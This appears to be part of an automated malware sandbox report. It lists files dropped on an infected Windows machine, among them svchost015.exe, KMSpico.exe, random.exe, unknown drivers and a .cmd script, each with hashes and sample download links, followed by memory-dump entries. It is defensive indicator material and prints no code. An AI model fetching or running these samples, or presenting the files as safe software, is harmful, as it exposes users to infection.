C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sterxi0z.cx2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir11620_1696184830\CRX_INSTALL\_locales\en\messages.json

Filesize
711B

MD5
558659936250e03cc14b60ebf648aa09

SHA1
32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825

SHA256
2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b

SHA512
1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir11620_1696184830\CRX_INSTALL\_locales\en_US\messages.json

Filesize
1KB

MD5
64eaeb92cb15bf128429c2354ef22977

SHA1
45ec549acaa1fda7c664d3906835ced6295ee752

SHA256
4f70eca8e28541855a11ec7a4e6b3bc6dd16c672ff9b596ecfb7715bb3b5898c

SHA512
f63ee02159812146eee84c4eb2034edfc2858a287119cc34a8b38c309c1b98953e14ca1ca6304d6b32b715754b15ba1b3aa4b46976631b5944d50581b2f49def

Download Submit
C:\Users\Admin\AppData\Local\Temp\scoped_dir11620_1696184830\CRX_INSTALL\manifest.json

Filesize
1KB

MD5
2a738ca67be8dd698c70974c9d4bb21b

SHA1
45a4086c876d276954ffce187af2ebe3dc667b5f

SHA256
b08d566a5705247ddc9abf5e970fc93034970b02cf4cb3d5ccc90e1a1f8c816e

SHA512
f72b9190f9f2b1acc52f7fbb920d48797a96e62dfc0659c418edbbc0299dccf1931f6c508b86c940b976016745b9877f88f2ee081d3e3d5dcdcc2cc7e7884492

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost015.exe

Filesize
2.9MB

MD5
b826dd92d78ea2526e465a34324ebeea

SHA1
bf8a0093acfd2eb93c102e1a5745fb080575372e

SHA256
7824b50acdd144764dac7445a4067b35cf0fef619e451045ab6c1f54f5653a5b

SHA512
1ac4b731b9b31cabf3b1c43aee37206aee5326c8e786abe2ab38e031633b778f97f2d6545cf745c3066f3bd47b7aaf2ded2f9955475428100eaf271dd9aeef17

Download Submit
C:\Users\Admin\AppData\Local\Temp\{b470fa9a-8f43-4734-a69c-84c90c3f8693}\KVRT.exe

Filesize
2.6MB

MD5
3fb0ad61548021bea60cdb1e1145ed2c

SHA1
c9b1b765249bfd76573546e92287245127a06e47

SHA256
5d1a788260891c317f9d05b3387e732af908959c5ad4f5a84e7984bee71084f1

SHA512
38269c22fda1fdee5906c2bfdfc19b77b5f6d8da2be939c6d8259b536912f8bc6f261f5c508f47ade8ab591a54aafbfbcc302219820bad19feb78fcc3586d331

Download Submit
C:\Users\Admin\AppData\Local\Temp\{d666023e-c1b1-4b91-8855-42e767e1e337}\5111d266-9b49-4e12-998e-14e77f0b490b.cmd

Filesize
695B

MD5
48c83a3b9987762a3e6dc3a9cd31e240

SHA1
da7a1c0287e850fac1053421a7f618ebf495f30f

SHA256
d0b75cf51f67f3350ae92b231cdea781d80f313bbe4da19e7bef4c0268b51bd8

SHA512
f141b2717519fb94cd7257bd3be1081086e8bb9534d9c2a7ece13c344794388f3df4a25461db7766c6183654a69b3dc286dc854f9c18a06e34d829a1b1901ca0

Download Submit
C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe

Filesize
3.1MB

MD5
a02164371a50c5ff9fa2870ef6e8cfa3

SHA1
060614723f8375ecaad8b249ff07e3be082d7f25

SHA256
64c731adbe1b96cb5765203b1e215093dcf268d020b299445884a4ae62ed2d3a

SHA512
6c6903f3a3092fd3d63c373189f2c06e12de032ee4fd6b80a15f58eaeb2079f3ae8a8bcdac85a358b1f9070b192b1c8260f9aa127d009b5afce475f966e91326

Download Submit
C:\Users\Admin\Downloads\random.exe.crdownload

Filesize
2.1MB

MD5
d409834d17fe110c93d13b41dbfb6ded

SHA1
637d3a292c12750d52215c5423db5889bacc3059

SHA256
4c70ce41911ef4e1a2d992b5c5b543c8b1eb2b1e3a07bee1a3cd514229199d21

SHA512
bb6c4d407aed1966b28beaf6453fcc0c1a77f5c20a2a887830fc604c4cb005a79e61ae4ef427643e8d6fed12537634f7b3aea3f50c26f14317bc7d3e76538fd9

Download Submit
C:\Users\Admin\Downloads\random.exe:Zone.Identifier

Filesize
72B

MD5
caff8bb3d3b22bb4227c4e628d3bd61f

SHA1
b867d20e58faee831da908a87238a29f8d0ec717

SHA256
5dbdb38133ac79d0c73ce98c995ab8cec422374093956b4224ce2dc6c2b8be16

SHA512
09600f6c8bb5e49b5e72105c661099184668dfcd9aa603ea93a214f2254706ba8bdc45cda716fd67c4a43b90a80e7515f26da63b58e52a30de8994d50f089cec

Download Submit
C:\Windows\System32\drivers\fa2b3b9f.sys

Filesize
368KB

MD5
990442d764ff1262c0b7be1e3088b6d3

SHA1
0b161374074ef2acc101ed23204da00a0acaa86e

SHA256
6c7ccd465090354438b39da8430a5c47e7f24768a5b12ee02fecf8763e77c9e4

SHA512
af3c6dfe32266a9d546f13559dcba7c075d074bdfdaf0e6bf2a8cae787008afa579f0d5f90e0c657dd614bb244a6d95ff8366c14b388e1f4a3ab76cccb23add4

Download Submit
C:\Windows\System32\drivers\klupd_fa2b3b9fa_klark.sys

Filesize
355KB

MD5
9cfe1ced0752035a26677843c0cbb4e3

SHA1
e8833ac499b41beb6763a684ba60333cdf955918

SHA256
3bdb393dfaa63b9650658d9288a1dc9a62acc0d44c2f5eab9170485356b9b634

SHA512
29e912e7e19f5ca984fb36fc38df87ed9f8eaa1b62fd0c21d75cbc7b7f16a441de3a97c40a813a8989953ff7c4045d6173066be2a6e6140c90325546b3d0773c

Download Submit
C:\Windows\System32\drivers\klupd_fa2b3b9fa_klbg.sys

Filesize
199KB

MD5
424b93cb92e15e3f41e3dd01a6a8e9cc

SHA1
2897ab04f69a92218bfac78f085456f98a18bdd3

SHA256
ccb99a2eeb80cd74cc58691e7af7fce3264b941aea3d777d9e4a950b9e70b82e

SHA512
15e984a761d873eef0ab50f8292fbba771208ff97a57b131441666c6628936c29f8b1f0e04ef8e880f33ef6fccebd20db882997ca3504c9e5ea1db781b9ffb0f

Download Submit
C:\Windows\System32\drivers\klupd_fa2b3b9fa_mark.sys

Filesize
260KB

MD5
66522d67917b7994ddfb5647f1c3472e

SHA1
f341b9b28ca7ac21740d4a7d20e4477dba451139

SHA256
5da15bcd1ad66b56b73994a073e8f0ff4170b9ed09c575ca1b046a59a01cc8a1

SHA512
921babab093c5bd1e0ec1615c8842081b402a491ecc744613929fa5fafde628cd9bcc1b38b70024a8fa4317aea0b0dce71cd19f44103e50d6ed7a8d9e2a55968

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_1462377231\manifest.json

Filesize
85B

MD5
c3419069a1c30140b77045aba38f12cf

SHA1
11920f0c1e55cadc7d2893d1eebb268b3459762a

SHA256
db9a702209807ba039871e542e8356219f342a8d9c9ca34bcd9a86727f4a3a0f

SHA512
c5e95a4e9f5919cb14f4127539c4353a55c5f68062bf6f95e1843b6690cebed3c93170badb2412b7fb9f109a620385b0ae74783227d6813f26ff8c29074758a1

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_202196815\manifest.fingerprint

Filesize
66B

MD5
496b05677135db1c74d82f948538c21c

SHA1
e736e675ca5195b5fc16e59fb7de582437fb9f9a

SHA256
df55a9464ee22a0f860c0f3b4a75ec62471d37b4d8cb7a0e460eef98cb83ebe7

SHA512
8bd1b683e24a8c8c03b0bc041288296448f799a6f431bacbd62cb33e621672991141c7151d9424ad60ab65a7a6a30298243b8b71d281f9e99b8abb79fe16bd3c

Download Submit
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_202196815\manifest.json

Filesize
134B

MD5
049c307f30407da557545d34db8ced16

SHA1
f10b86ebfe8d30d0dc36210939ca7fa7a819d494

SHA256
c36944790c4a1fa2f2acec5f7809a4d6689ecb7fb3b2f19c831c9adb4e17fc54

SHA512
14f04e768956bdd9634f6a172104f2b630e2eeada2f73b9a249be2ec707f4a47ff60f2f700005ca95addd838db9438ad560e5136a10ed32df1d304d65f445780

Download Submit
memory/388-534-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/388-495-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/388-31113-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/2340-849-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-847-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-834-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-836-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-837-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-848-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-841-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-839-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-843-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-832-0x0000000140000000-0x000000014043E000-memory.dmp

Filesize
4.2MB

Download
memory/2340-835-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-838-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2340-846-0x0000000000870000-0x00000000009F8000-memory.dmp

Filesize
1.5MB

Download
memory/2676-800-0x000001E992B80000-0x000001E992BF1000-memory.dmp

Filesize
452KB

Download
memory/2676-792-0x000001E992B80000-0x000001E992BF1000-memory.dmp

Filesize
452KB

Download
memory/2676-791-0x0000000000970000-0x0000000000972000-memory.dmp

Filesize
8KB

Download
memory/2676-799-0x000001E992B80000-0x000001E992BF1000-memory.dmp

Filesize
452KB

Download
memory/2676-801-0x000001E992B80000-0x000001E992BF1000-memory.dmp

Filesize
452KB

Download
memory/3564-477-0x0000000000A20000-0x0000000000EE1000-memory.dmp

Filesize
4.8MB

Download
memory/4524-29876-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/4524-29900-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/4916-510-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/4916-500-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/4936-810-0x0000023B77CC0000-0x0000023B77CE2000-memory.dmp

Filesize
136KB

Download
memory/5032-31130-0x00000000007C0000-0x0000000000C6A000-memory.dmp

Filesize
4.7MB

Download
memory/5032-31132-0x00000000007C0000-0x0000000000C6A000-memory.dmp

Filesize
4.7MB

Download
memory/5136-831-0x00000000005D0000-0x0000000000A7A000-memory.dmp

Filesize
4.7MB

Download
memory/5136-29609-0x00000000005D0000-0x0000000000A7A000-memory.dmp

Filesize
4.7MB

Download
memory/5320-812-0x0000000000400000-0x0000000000469000-memory.dmp

Filesize
420KB

Download
memory/5320-811-0x0000000000400000-0x0000000000469000-memory.dmp

Filesize
420KB

Download
memory/5328-434-0x0000000000A20000-0x0000000000EE1000-memory.dmp

Filesize
4.8MB

Download
memory/5328-478-0x0000000000A20000-0x0000000000EE1000-memory.dmp

Filesize
4.8MB

Download
memory/5328-488-0x0000000000A20000-0x0000000000EE1000-memory.dmp

Filesize
4.8MB

Download
memory/5328-497-0x0000000000A20000-0x0000000000EE1000-memory.dmp

Filesize
4.8MB

Download
memory/5812-788-0x0000000000400000-0x0000000000685000-memory.dmp

Filesize
2.5MB

Download
memory/5840-30243-0x00000204713C0000-0x00000204713CA000-memory.dmp

Filesize
40KB

Download
memory/5840-30239-0x00000204711E0000-0x00000204711FC000-memory.dmp

Filesize
112KB

Download
memory/5840-30242-0x00000204713E0000-0x00000204713FC000-memory.dmp

Filesize
112KB

Download
memory/5840-30241-0x0000020470FD0000-0x0000020470FDA000-memory.dmp

Filesize
40KB

Download
memory/5840-30245-0x00000204713D0000-0x00000204713D8000-memory.dmp

Filesize
32KB

Download
memory/5840-30240-0x0000020471200000-0x00000204712B3000-memory.dmp

Filesize
716KB

Download
memory/5840-30244-0x0000020471420000-0x000002047143A000-memory.dmp

Filesize
104KB

Download
memory/5840-30247-0x0000020471410000-0x000002047141A000-memory.dmp

Filesize
40KB

Download
memory/5840-30246-0x0000020471400000-0x0000020471406000-memory.dmp

Filesize
24KB

Download
memory/6852-29683-0x0000000000490000-0x0000000000B9E000-memory.dmp

Filesize
7.1MB

Download
memory/6852-29676-0x0000000000490000-0x0000000000B9E000-memory.dmp

Filesize
7.1MB

Download
memory/7120-30444-0x00000000008B0000-0x0000000000D5A000-memory.dmp

Filesize
4.7MB

Download
memory/7120-30465-0x00000000008B0000-0x0000000000D5A000-memory.dmp

Filesize
4.7MB

Download
memory/7528-31617-0x0000000000400000-0x0000000000CC8000-memory.dmp

Filesize
8.8MB

Download
memory/7628-30647-0x0000000000400000-0x0000000000CC8000-memory.dmp

Filesize
8.8MB

Download
memory/7628-30675-0x0000000000400000-0x0000000000CC8000-memory.dmp

Filesize
8.8MB

Download
memory/7656-31118-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/7656-31133-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/8336-30676-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/8336-30678-0x0000000000780000-0x0000000000C41000-memory.dmp

Filesize
4.8MB

Download
memory/9984-31626-0x0000000000400000-0x0000000000E7A000-memory.dmp

Filesize
10.5MB

Download
memory/10500-30594-0x0000000000400000-0x0000000000E7A000-memory.dmp

Filesize
10.5MB

Download
memory/10500-30514-0x0000000000400000-0x0000000000E7A000-memory.dmp

Filesize
10.5MB

Download
memory/13476-30183-0x0000000006430000-0x00000000069D6000-memory.dmp

Filesize
5.6MB

Download
memory/13476-30184-0x0000000005E80000-0x0000000005F12000-memory.dmp

Filesize
584KB

Download
memory/13476-30185-0x0000000005FC0000-0x000000000605C000-memory.dmp

Filesize
624KB

Download
memory/13476-30182-0x0000000000AF0000-0x00000000013C8000-memory.dmp

Filesize
8.8MB

Download
memory/13476-30186-0x0000000005E50000-0x0000000005E5A000-memory.dmp

Filesize
40KB

Download
memory/13476-30323-0x0000000007AF0000-0x0000000007AF6000-memory.dmp

Filesize
24KB

Download
memory/13476-30307-0x00000000086B0000-0x0000000008972000-memory.dmp

Filesize
2.8MB

Download